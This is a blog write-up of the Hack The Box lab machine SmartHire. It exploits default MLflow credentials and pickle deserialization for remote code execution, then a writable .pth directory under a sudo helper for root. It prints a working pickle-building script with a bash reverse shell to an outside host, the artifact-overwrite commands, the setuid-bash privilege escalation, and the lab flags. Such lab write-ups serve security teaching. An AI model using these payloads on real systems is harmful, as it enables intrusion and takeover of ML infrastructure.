Hackthebox: SmartHire

Foued SAIDI Lv5

Overview

SmartHire is a medium-difficulty Linux machine from Hack The Box that revolves around a self-hosted MLflow model registry. We start by discovering a models. subdomain protected by MLflow’s basic-auth, which still ships the default admin:password credentials. The front-end SmartHire application trains and loads a per-user model from that registry, so we abuse MLflow’s artifact-proxy to overwrite the model’s python_model.pkl with a malicious pickle. When the app calls mlflow.pyfunc.load_model() on our poisoned model, our __reduce__ payload fires and lands us a shell as svcweb. For privilege escalation, a NOPASSWD sudo entry runs a custom Python helper that calls site.addsitedir() on a directory writable by our devs group, so we drop a .pth file whose import line executes as root.

SmartHire-info-card
SmartHire-info-card

Reconnaissance

We kick things off with a full TCP port scan to make sure we don’t miss anything above the top-1000:

1
2
3
4
5
6
7
8
9
10
kujen@kujen:~$ nmap -p- --min-rate 5000 -T4 10.129.245.215 -oN nmap-fast.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-21 05:02 +0000
Nmap scan report for 10.129.245.215
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

Only two ports open, so we run a service/version scan on both:

1
2
3
4
5
6
7
8
9
10
kujen@kujen:~$ nmap -sV -sC -p 22,80 10.129.245.215 -oN nmap-sv.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Overview | SmartHIRE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Our usual SSH on 22 and an nginx web application on port 80. Curling the IP gives us a 301 redirect with the canonical hostname in the Location: header:

1
2
3
4
5
6
kujen@kujen:~$ curl -sI http://10.129.245.215/
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html
Content-Length: 178
Location: http://smarthire.htb/

We add smarthire.htb to our /etc/hosts:

1
kujen@kujen:~$ echo "10.129.245.215 smarthire.htb" | sudo tee -a /etc/hosts

Walking the landing page

Grepping through the landing page for anything that hints at the tech stack:

1
2
3
4
5
kujen@kujen:~$ curl -s http://smarthire.htb/ | grep -iE 'title|product|powered|model|api' | head
<title>Overview | SmartHIRE</title>
<a href="/#products" class="px-3 py-2 rounded-md hover:bg-gray-800">Products</a>
<div class="p-4 rounded-lg bg-gray-800/60">Model Registry</div>
<li><a href="#" class="text-gray-400 hover:text-gray-300 hover:underline">API Reference</a></li>

“Model Registry” listed under their products is the breadcrumb here. On a box like this that almost always means there’s an MLflow-flavoured service sitting somewhere on the host, and it’s usually a sibling vhost.

Vhost brute-forcing

We loop a small list of obvious names through Host: headers. The baseline for a non-existent host is a 301 (size 178) back to the canonical site, so anything that isn’t 301/178 is worth a closer look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kujen@kujen:~$ cat > subs.txt <<'EOF'
api admin dev test staging models model ml mlflow registry
auth sso git gitlab jenkins www mail portal app backend
EOF
kujen@kujen:~$ for s in $(cat subs.txt); do
out=$(curl -s -H "Host: ${s}.smarthire.htb" http://10.129.245.215/ \
-o /dev/null -w "%{http_code} %{size_download}")
echo "${s}.smarthire.htb -> ${out}"
done
api.smarthire.htb -> 301 178
admin.smarthire.htb -> 301 178
dev.smarthire.htb -> 301 178
test.smarthire.htb -> 301 178
staging.smarthire.htb -> 301 178
models.smarthire.htb -> 401 137 <-- only outlier
model.smarthire.htb -> 301 178
ml.smarthire.htb -> 301 178
mlflow.smarthire.htb -> 301 178
registry.smarthire.htb -> 301 178
...

models.smarthire.htb returns a 401 instead of the 301 sink, meaning there’s a real backend behind it. We add it to /etc/hosts and check the headers:

1
2
3
4
5
6
7
kujen@kujen:~$ echo "10.129.245.215 models.smarthire.htb" | sudo tee -a /etc/hosts
kujen@kujen:~$ curl -sI http://models.smarthire.htb/
HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Content-Length: 137
WWW-Authenticate: Basic realm="mlflow"

WWW-Authenticate: Basic realm="mlflow" gives it away, this is MLflow’s built-in basic-auth.

MLflow - Default Credentials

MLflow’s mlflow-auth module ships a default_permissions.ini that seeds exactly one admin account: admin:password. Lazy deployments never rotate it, so we try it against the version endpoint:

1
2
kujen@kujen:~$ curl -s -u admin:password http://models.smarthire.htb/version
2.14.1

We’re in, and MLflow 2.14.1 sits squarely inside the pickle-deserialization-RCE window. Any consumer that calls mlflow.pyfunc.load_model() against a model whose flavour is python_function will cloudpickle.load the model’s python_model.pkl. That’s just pickle.load with extras, so if we can write a malicious __reduce__ into that file, we get code execution wherever the consumer loads the model.

Mapping the SmartHire App

The exploit needs a consumer, someone who actually calls pyfunc.load_model() against a registered model. The SmartHire front-end is the obvious candidate, so let’s map how it uses the registry.

Registering an account

The /register form takes a username, company and password:

1
2
3
4
kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar \
-d "username=pentester&company=acme&password=Passw0rd!" \
http://smarthire.htb/register -o /dev/null -w "%{http_code}\n"
200

Finding our model name

We log in and pull the dashboard’s model_info endpoint:

1
2
3
4
5
6
kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar -L \
-d "username=pentester&password=Passw0rd!" \
http://smarthire.htb/login -o /dev/null -w "%{url_effective}\n"
http://smarthire.htb/dashboard
kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar http://smarthire.htb/model_info
{"model_info":null,"model_name":"acme-78c78b2f6a9f-model","status":"success"}

The model name is derived from the company name we registered with (acme -> acme-78c78b2f6a9f-model), and no model has been trained yet (model_info: null).

Training a model to poison

The dashboard’s example CSV goes to /upload_hiring_data, which both trains the user’s model and registers it in MLflow. We give it something to chew on:

1
2
3
4
5
6
7
8
9
10
11
12
13
kujen@kujen:~$ cat > hiring.csv <<'CSV'
name,skills,experience,education,position_applied,previous_company
John Smith,"Python, Machine Learning, SQL",60,Master's in CS,Data Scientist,TechCorp
Sarah Johnson,"JavaScript, React, Node.js",36,Bachelor's in SE,Full Stack Dev,StartupXYZ
Mike Brown,"Java, Spring Boot, PostgreSQL",84,Bachelor's in IT,Backend Developer,Enterprise Inc
Alice Davis,"Go, Kubernetes, AWS",72,Master's in CS,DevOps,CloudCorp
Bob Lee,"Python, TensorFlow, PyTorch",96,PhD,ML Engineer,AI Inc
CSV
kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar -F "[email protected]" \
http://smarthire.htb/upload_hiring_data
{"message":"Model trained and registered successfully","model_deleted":false,
"model_info":{"creation_timestamp":1779338417836,"description":"No description","version":"1"},
"registered_model":"acme-78c78b2f6a9f-model","status":"success"}

Version 1 of our model is now registered. Peeking at the /predict form’s HTML tells us what shape it eats:

1
2
3
4
5
6
7
8
kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar http://smarthire.htb/predict \
| grep -A1 "fetch\|formData\|/predict"
const formData = new FormData();
formData.append('file', file);
const res = await fetch('/predict', {
method: 'POST',
body: formData
});

Same multipart-CSV shape as the training endpoint. So a POST /predict will be our trigger once we’ve planted the malicious pickle.

Locating the Pickle in the Artifact Store

First we resolve the latest version of our registered model to find where its artifacts live:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kujen@kujen:~$ curl -s -u admin:password \
"http://models.smarthire.htb/api/2.0/mlflow/registered-models/get-latest-versions" \
-H "Content-Type: application/json" \
-d '{"name":"acme-78c78b2f6a9f-model"}' | python3 -m json.tool
{
"model_versions": [
{
"name": "acme-78c78b2f6a9f-model",
"version": "1",
"source": "mlflow-artifacts:/0/5e0038d44cf14123bff522fd3f228654/artifacts/model",
"run_id": "5e0038d44cf14123bff522fd3f228654",
"status": "READY"
}
]
}

Now we list the artifact tree for that run:

1
2
3
4
5
6
7
8
9
10
11
kujen@kujen:~$ curl -s -u admin:password \
"http://models.smarthire.htb/api/2.0/mlflow/artifacts/list" \
-G --data-urlencode "run_id=5e0038d44cf14123bff522fd3f228654" \
--data-urlencode "path=model" | python3 -m json.tool
"files": [
{"path": "model/MLmodel", "file_size": 464},
{"path": "model/conda.yaml", "file_size": 153},
{"path": "model/python_env.yaml", "file_size": 115},
{"path": "model/python_model.pkl", "file_size": 538}, <-- target
{"path": "model/requirements.txt", "file_size": 47}
]

There’s our python_model.pkl. We read the MLmodel metadata to confirm the loader:

1
2
3
4
5
6
7
8
9
10
kujen@kujen:~$ curl -s -u admin:password \
"http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/5e0038d44cf14123bff522fd3f228654/artifacts/model/MLmodel"
artifact_path: model
flavors:
python_function:
cloudpickle_version: 3.1.1
loader_module: mlflow.pyfunc.model
python_model: python_model.pkl
python_version: 3.10.12
mlflow_version: 2.14.1

loader_module: mlflow.pyfunc.model together with python_model: python_model.pkl is the whole story, that file gets cloudpickle.loadd on every single model load.

Foothold - Poisoning the Pickle

Building the malicious pickle

The __reduce__ magic method tells pickle “when you unpickle me, call this callable with these args”, so we pin os.system(<reverse_shell>) and the unpickler fires it the moment it hits our opcode:

1
2
3
4
5
6
7
8
9
10
11
# build_pkl.py
import pickle, os, sys
IP, PORT = sys.argv[1], sys.argv[2]

class Pwn:
def __reduce__(self):
cmd = f'bash -c "bash -i >& /dev/tcp/{IP}/{PORT} 0>&1"'
return (os.system, (cmd,))

with open('evil.pkl', 'wb') as f:
pickle.dump(Pwn(), f)
1
2
3
4
5
6
7
8
9
10
kujen@kujen:~$ python3 build_pkl.py 10.10.16.32 4444
kujen@kujen:~$ python3 -c "import pickletools; pickletools.dis(open('evil.pkl','rb'))" | head
0: \x80 PROTO 5
2: \x95 FRAME 78
11: \x8c SHORT_BINUNICODE 'posix'
19: \x8c SHORT_BINUNICODE 'system'
28: \x93 STACK_GLOBAL
30: \x8c SHORT_BINUNICODE 'bash -c "bash -i >& /dev/tcp/10.10.16.32/4444 0>&1"'
86: R REDUCE
88: . STOP

Pure reduce-opcode RCE.

Overwriting python_model.pkl

MLflow >= 2.0 exposes /api/2.0/mlflow-artifacts/artifacts/<path> as a generic artifact store. With our admin auth, a PUT overwrites the file in place, no need to log a new run or even install the mlflow Python client:

1
2
3
kujen@kujen:~$ curl -s -u admin:password -X PUT --data-binary "@evil.pkl" \
"http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/5e0038d44cf14123bff522fd3f228654/artifacts/model/python_model.pkl"
{}

We confirm the bytes landed:

1
2
3
4
5
6
kujen@kujen:~$ curl -s -u admin:password \
"http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/5e0038d44cf14123bff522fd3f228654/artifacts/model/python_model.pkl" \
| xxd | head -3
00000000: 8005 954e 0000 0000 0000 008c 0570 6f73 .....N.......pos
00000010: 6978 948c 0673 7973 7465 6d94 9394 8c33 ix...system....3
00000020: 6261 7368 202d 6320 2262 6173 6820 2d69 bash -c "bash -i

Triggering the load

We start our listener and fire a benign CSV at /predict. The server calls mlflow.pyfunc.load_model() on our model before it ever touches the CSV, so the payload triggers on load:

1
2
3
4
5
6
kujen@kujen:~$ cat > predict.csv <<'CSV'
name,skills,experience,education,position_applied,previous_company
Test User,"Python, SQL",60,Master's,Data Scientist,TestCorp
CSV
kujen@kujen:~$ curl -s -c cookies.jar -b cookies.jar -F "[email protected]" \
--max-time 30 http://smarthire.htb/predict

The request hangs (the unpickle never returns cleanly, which is expected), and over on our listener the callback lands:

1
2
3
4
5
6
kujen@kujen:~$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.32] from (UNKNOWN) [10.129.245.215] 57466
bash: cannot set terminal process group (1024): Inappropriate ioctl for device
bash: no job control in this shell
svcweb@smarthire:/var/www/smarthire.htb$

User flag

1
2
3
4
svcweb@smarthire:/var/www/smarthire.htb$ id
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
svcweb@smarthire:/var/www/smarthire.htb$ cat /home/svcweb/user.txt
cf03bbab01505fee8c67a5a6495b4325

svcweb runs the gunicorn worker directly, no container, so the host filesystem is fully reachable. That supplementary devs group is interesting and worth keeping in the back of our minds.

Privilege Escalation - .pth Hook Under Sudo

We check our sudo rights first:

1
2
3
4
5
6
svcweb@smarthire:/var/www/smarthire.htb$ sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

A wildcard sudoers entry on a custom Python helper. That almost always means there’s a code path inside the script we can influence. Let’s look at the directory:

1
2
3
4
5
6
7
8
svcweb@smarthire:/var/www/smarthire.htb$ ls -la /opt/tools/mlflow_ctl /opt/tools/mlflow_ctl/plugins
/opt/tools/mlflow_ctl:
-rwxr-xr-- 1 root root 1080 Feb 19 18:16 mlflowctl.py
drwxr-xr-x 4 root root 4096 Feb 19 18:10 plugins

/opt/tools/mlflow_ctl/plugins:
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev <-- group=devs, mode 0775

The dev plugins directory is group-owned by devs and mode 0775, and we’re in devs, so it’s writable to us. Now let’s read the helper itself:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))

Here’s the kicker: site.addsitedir() does more than just append a path to sys.path. It scans the given directory for *.pth files and executes any line inside them that starts with import. Because the script runs under sudo as root, anything we write into plugins/dev/*.pth runs as root too.

Dropping the .pth

We go with the classic setuid-bash payload: copy /bin/bash to /tmp and chmod it 4755. When later run with -p, bash keeps the elevated euid:

1
2
3
4
5
6
7
svcweb@smarthire:/var/www/smarthire.htb$ echo "import os; os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
svcweb@smarthire:/var/www/smarthire.htb$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status; ls -la /tmp/rootbash
[*] Checking MLflow service status...

[+] MLflow service status: active
[+] MLflow container status: 'Up 30 minutes'
-rwsr-xr-x 1 root root 1396520 May 21 04:47 /tmp/rootbash

The setuid bit is on and the file is owned by root. We run it with -p to keep the euid and grab the root flag:

1
2
3
svcweb@smarthire:/var/www/smarthire.htb$ /tmp/rootbash -p -c "id; cat /root/root.txt"
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
82ec1ad761d5007033396228540cbf33

And that’s a root shell.

Cleanup

We tidy up after ourselves by removing the .pth and the setuid bash:

1
svcweb@smarthire:/var/www/smarthire.htb$ rm -f /opt/tools/mlflow_ctl/plugins/dev/pwn.pth /tmp/rootbash

The original python_model.pkl is easily restored by re-running /upload_hiring_data from the dashboard, which trains a fresh model and registers it as v2, so the front-end’s /predict picks up the clean one on the next load.

That was it for SmartHire, hope you learned something new!
-0xkujen

  • Title: Hackthebox: SmartHire
  • Author: Foued SAIDI
  • Created at : 2026-09-27 15:00:00
  • Updated at : 2026-09-27 20:43:58
  • Link: https://kujen5.github.io/2026/09/27/Hackthebox-SmartHire/
  • License: This work is licensed under CC BY-NC-SA 4.0.